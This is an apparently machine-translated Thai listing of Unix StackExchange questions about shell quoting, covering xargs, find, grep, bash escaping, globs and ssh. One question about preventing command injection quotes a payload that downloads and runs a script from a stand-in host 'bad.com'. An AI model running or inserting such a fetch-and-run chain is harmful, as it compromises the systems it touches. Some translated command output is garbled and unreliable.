คำถามติดแท็ก quoting

โดยทั่วไปแล้วสตริงจะถูกคั่นด้วยเครื่องหมายคำพูดซึ่งทำให้เกิดปัญหาในการจัดการกับสตริงที่มีเครื่องหมายคำพูด

3
วิธีอ้างอาร์กิวเมนต์ด้วย xargs
สมมติว่าฉันต้องการลบไฟล์ทั้งหมดในโฟลเดอร์ที่มีขนาดใหญ่กว่า 1 MB $ find . -size +1M | xargs -0 rm นี่จะไม่ลบไฟล์ที่มีพื้นที่ว่างในชื่อ rmดังนั้นผมจึงต้องการที่จะพูดขัดแย้งทั้งหมดส่งไปยัง ถ้าfindให้มันSome report.docxมันควรจะผ่านไป"Some report.docx"rm ฉันจะทำสิ่งนั้นได้อย่างไร
15 shell  find  quoting  rm  xargs 

3
ชื่อไฟล์ 'find -exec' pass มีช่องว่างอย่างไร
หากฉันมีไดเรกทอรีที่มีไฟล์บางไฟล์ที่ชื่อมีช่องว่างเช่น $ ls -1 dir1 file 1 file 2 file 3 ฉันสามารถคัดลอกทั้งหมดไปยังไดเรกทอรีอื่นเช่นนี้ได้สำเร็จ: $ find dir1 -mindepth 1 -exec cp -t dir2 {} + อย่างไรก็ตามการส่งออกของfind dir1 -mindepth 1มีช่องว่างที่ไม่หนี: $ find dir1 mindepth 1 dir1/file 1 dir1/file 3 dir1/file 3 หากฉันใช้print0แทนprintเอาต์พุตยังคงมีช่องว่างที่ไม่ได้ใช้ Escape: $ find dir1 mindepth 1 -print0 dir1/file 1dir1/file 2dir1/file 3 …

2
วิธีที่สอดคล้องกับ POSIX ในการทำงานกับรายการชื่อไฟล์ที่อาจมีช่องว่าง
ฉันได้เห็นคำแนะนำในการเขียนสคริปต์ของ Bash แนะนำให้ใช้อาร์เรย์สำหรับทำงานกับชื่อไฟล์ที่มีช่องว่าง แต่DashAsBinShชี้ให้เห็นว่าอาร์เรย์ไม่สามารถเคลื่อนย้ายได้ดังนั้นฉันกำลังมองหาวิธีการทำงานร่วมกับ POSIX ในการทำงานกับรายการชื่อไฟล์ที่อาจมีช่องว่าง ฉันต้องการแก้ไขสคริปต์ตัวอย่างด้านล่างเพื่อที่จะได้ echo foo/target/a.jar foo/target/b.jar bar/target/lol whitespace.jar นี่คือสคริปต์ #!/usr/bin/env sh INPUT="foo/target/a.jar foo/target/b.jar bar/target/b.jar bar/target/lol whitespace.jar" # this would be produced by a 'ls' command # We can execute the ls within the script, if it helps dostuffwith() { echo $1; }; F_LOCATIONS=$INPUT ALL_FILES=$(for f in …

4
วิธีการ grep สำหรับท่อ |
ฉันจะ grep สำหรับบรรทัดที่มีอักขระไพพ์|หรือตัวอักษร>: files content: |this is test where is > this is none ตอนนี้สิ่งที่ฉันต้องการใช้คำสั่ง grep คือ grep -iE "<some expression>" file_name เอาท์พุท: |this is test where is >

3
ต้องใช้อักขระใดในการหลบหนีในอาร์กิวเมนต์บรรทัดคำสั่ง
ใน Bash เมื่อระบุอาร์กิวเมนต์บรรทัดคำสั่งให้กับคำสั่งจำเป็นต้องใช้อักขระใดในการหลีกเลี่ยง พวกเขาจะถูก จำกัด ให้ metacharacters ของทุบตี: พื้นที่แท็บ |, &, ;, (, ), <และ>?
14 bash  shell  quoting 

3
ทำไมเครื่องหมายอัศเจรีย์ "!" บางครั้งทำให้ไม่พอใจทุบตี?
ฉันรู้ว่า!มีความสำคัญเป็นพิเศษใน commandline ในบริบทของประวัติศาสตร์ commandline แต่นอกเหนือจากนั้นในสคริปต์การเรียกใช้เครื่องหมายอัศเจรีย์ในบางครั้งอาจทำให้เกิดข้อผิดพลาดในการแยกวิเคราะห์ ฉันคิดว่ามันมีบางอย่างเกี่ยวข้องกับการeventแต่ฉันไม่ทราบว่าเหตุการณ์คืออะไรหรือทำอะไร ถึงกระนั้นคำสั่งเดียวกันก็สามารถทำงานต่างกันในสถานการณ์ที่ต่างกัน ตัวอย่างสุดท้ายด้านล่างทำให้เกิดข้อผิดพลาด แต่ทำไมเมื่อรหัสเดียวกันทำงานนอกการทดแทนคำสั่ง? .. ใช้ GNU bash 4.1.5 # This works, with or without a space between ! and p { echo -e "foo\nbar" | sed -nre '/foo/! p' echo -e "foo\nbar" | sed -nre '/foo/!p'; } # bar # bar # This works, …

4
วิธีการทำให้ bash glob เป็นตัวแปรสตริง
ข้อมูลระบบ ระบบปฏิบัติการ: OS X bash: GNU bash, รุ่น 3.2.57 (1) - ปล่อย (x86_64-apple-darwin16) พื้นหลัง ฉันต้องการให้ไทม์แมชชีนแยกชุดไดเรกทอรีและไฟล์ออกจากโครงการ git / nodejs ทั้งหมดของฉัน ไดเรกทอรีโครงการของฉันอยู่ใน~/code/private/และดังนั้นฉันพยายามที่จะใช้ทุบตีวนลูปที่จะทำ~/code/public/tmutil ปัญหา เวอร์ชั่นสั้น หากฉันมีตัวแปรสตริงที่คำนวณได้kฉันจะทำให้มันกลมกลืนไปหรือขวาก่อน for-loop ได้อย่างไร: i='~/code/public/*' j='*.launch' k=$i/$j # $k='~/code/public/*/*.launch' for i in $k # I need $k to glob here do echo $i done k=$i/$jในรุ่นยาวด้านล่างนี้คุณจะเห็น ดังนั้นฉันไม่สามารถเข้ารหัสสตริงใน for for loop …

3
ทุบตีเพิ่มคำพูดเดียวพิเศษ
ฉันมีปัญหาในการใช้งานสคริปต์ของฉัน เมื่อรันมันในโหมดดีบั๊ก (bash -x) ฉันเห็นว่า bash กำลังเพิ่มราคาพิเศษ ดังนั้นสคริปต์ของฉันจึงล้มเหลว นี่คือภายในสคริปต์ของฉัน: testvar="\"sudo /home/pi/shared/blink.sh 27 off\"" ssh -n -q -q -o BatchMode=yes -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no -o ConnectTimeout=5 $1 ${testvar} นี่คือผลลัพธ์: ssh -n -q -q -o BatchMode=yes -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no -o ConnectTimeout=5 192.168.42.105 '"sudo' /home/pi/shared/blink.sh 27 'off"'
14 shell  ssh  quoting 


2
วิธีใช้ตัวละครพิเศษเป็นตัวละครธรรมดา
คำถามมากมายเช่น 'วิธีพิมพ์อักขระสองคำพูด (") ได้อย่างไร กำลังถูกถามและเราไม่ต้องการให้ชุมชนของเรามีคำตอบเหมือนกัน (พิมพ์เป็น\"ถ้าไม่อยู่ใน's, "ถ้าอยู่ใน's) ดังนั้นคำถามอยู่ที่นี่ คุณไม่สามารถพิมพ์ตัวอักษรพิเศษลงในเทอร์มินัลแบบปกติเช่นคำสั่งนี้จะล้มเหลว: echo Updates (11) ดังนั้นวิธีการพิมพ์ในตัวอักษรเหล่านี้ใน terminal เช่นถ้าพวกเขาเป็นคนปกติ? !#$^&*?[](){}<>~;'"\|<space><tab><newline>

2
ตัวแปรใช้“ ~” สำหรับ cd'ing ได้อย่างไร
ฉันจะใช้ตัวแปร - $BASEในซีดีของฉันได้อย่างไร ฉันลองสิ่งต่อไปนี้ แต่ฉันได้รับข้อผิดพลาด $ cd ~/z/repo_1_ruby_193/ 23:23:57 durrantm Castle2012 /home/durrantm/z/repo_1_ruby_193 $ BASE="~/z" 23:24:03 durrantm Castle2012 /home/durrantm/z/repo_1_ruby_193 $ cd $BASE/repo_1_ruby_193 -bash: cd: ~/z/repo_1_ruby_193: No such file or directory 23:24:25 durrantm Castle2012 /home/durrantm/z/repo_1_ruby_193

1
ทำไมฉันต้องหลบหนี“ จุด” สองครั้ง?
ฉันรู้ว่าเราสามารถหลบหนีอักขระพิเศษเช่น*(){}$มี\เพื่อให้เป็นตัวอักษรถือว่า ตัวอย่างเช่น\*หรือ\$ แต่ในกรณีที่.ฉันต้องทำสองครั้งอย่าง\\.อื่นก็ถือว่าเป็นตัวละครพิเศษ ตัวอย่าง: man gcc | grep \\. ทำไมถึงเป็นเช่นนั้น?

3
วิธีการป้องกันการฉีดคำสั่งผ่านตัวเลือกคำสั่ง?
ฉันมีแอปพลิเคชัน wrapper ที่ฉันต้องการให้ผู้ใช้ระบุตัวเลือกที่กำหนดเองเพื่อส่งผ่านไปยังโปรแกรมจำลอง อย่างไรก็ตามฉันต้องการให้แน่ใจว่าผู้ใช้ไม่ได้ฉีดคำสั่งอื่น ๆ ผ่านตัวเลือกผู้ใช้ วิธีที่ดีที่สุดในการทำสิ่งนี้ให้สำเร็จคืออะไร? ตัวอย่างเช่น. ผู้ใช้ให้: -a -b แอปพลิเคชันดำเนินการ: mysim --preset_opt -a -b อย่างไรก็ตามฉันไม่ต้องการให้สิ่งนี้เกิดขึ้น: ผู้ใช้ให้: && wget http:\\bad.com\bad_code.sh && .\bad_code.sh แอปพลิเคชันดำเนินการ: mysim --preset_opt && wget http:\\bad.com\bad_code.sh && .\bad_code.sh ขณะนี้ฉันคิดว่าฉันสามารถล้อมรอบตัวเลือกผู้ใช้ทุกคนด้วยเครื่องหมายอัญประกาศเดี่ยว'และตัดเครื่องหมายอัญประกาศใด ๆ ที่ผู้ใช้ให้ดังนั้นคำสั่งในตัวอย่างสุดท้ายจะกลายเป็นอันตราย: mysim -preset_opt '&&' 'wget' 'http:\\bad.com\bad_code.sh' '&&' '.\bad_code.sh' หมายเหตุ: mysimคำสั่งดำเนินการโดยเป็นส่วนหนึ่งของเชลล์สคริปต์ในคอนเทนเนอร์ docker / lxc ฉันใช้ Ubuntu

2
คำพูดซ้อนใน subshells
ว่าฉันต้องใช้อัญประกาศเพื่อสรุปผลลัพธ์ subshell เช่น: DATA="$(cat file.hex | xxd -r)" แต่ฉันต้องทำรังสิ่งเช่นนี้: DATA="$(cat file.hex | xxd -r | tr -d \"$(cat trim.txt)\")" ฉันไม่สามารถใช้เครื่องหมายคำพูดเดี่ยวได้เพราะสิ่งเหล่านั้นไม่ได้ขยายตัวแปรที่อยู่ข้างใน การหลีกเลี่ยงการพูดไม่ทำงานเพราะมันเป็นเสมือนข้อความแฝง ฉันจะจัดการสิ่งนี้ได้อย่างไร

2
เชลล์อื่นที่ไม่ใช่ Bash และ Zsh สนับสนุนการอ้างอิง ANSI-C หรือไม่ เช่น $ 'string'
ฉันมีเชลล์สคริปต์ที่ใช้สิ่งต่อไปนี้เพื่อพิมพ์เครื่องหมายถูกสีเขียวในผลลัพธ์: col_green="\e[32;01m" col_reset="\e[39;49;00m" echo -e "Done ${col_green}✓${col_reset}" หลังจากที่ได้อ่านเกี่ยวกับการทุบตีของANSI-C Quotingผมรู้ว่าผมสามารถใช้มันเมื่อตั้งค่าตัวแปรสีของฉันและเอา-eธงจากฉันก้อง col_green=$'\e[32;01m' col_reset=$'\e[39;49;00m' echo "Done ${col_green}✓${col_reset}" ดูเหมือนว่าน่าสนใจเพราะมันหมายถึงข้อความที่พิมพ์อย่างถูกต้องไม่ว่ามันจะถูกส่งผ่านไปยังเสียงสะท้อนในตัวของ Bash หรือการใช้งานภายนอก/bin/echo(ฉันใช้บน macOS) แต่สิ่งนี้ทำให้สคริปต์พกพาน้อยลงหรือไม่ ฉันรู้ว่า Bash และ Zsh สนับสนุนรูปแบบการอ้างอิงนี้ แต่ฉันไม่แน่ใจเกี่ยวกับคนอื่น

โดยการใช้ไซต์ของเรา หมายความว่าคุณได้อ่านและทำความเข้าใจนโยบายคุกกี้และนโยบายความเป็นส่วนตัวของเราแล้ว
Licensed under cc by-sa 3.0 with attribution required.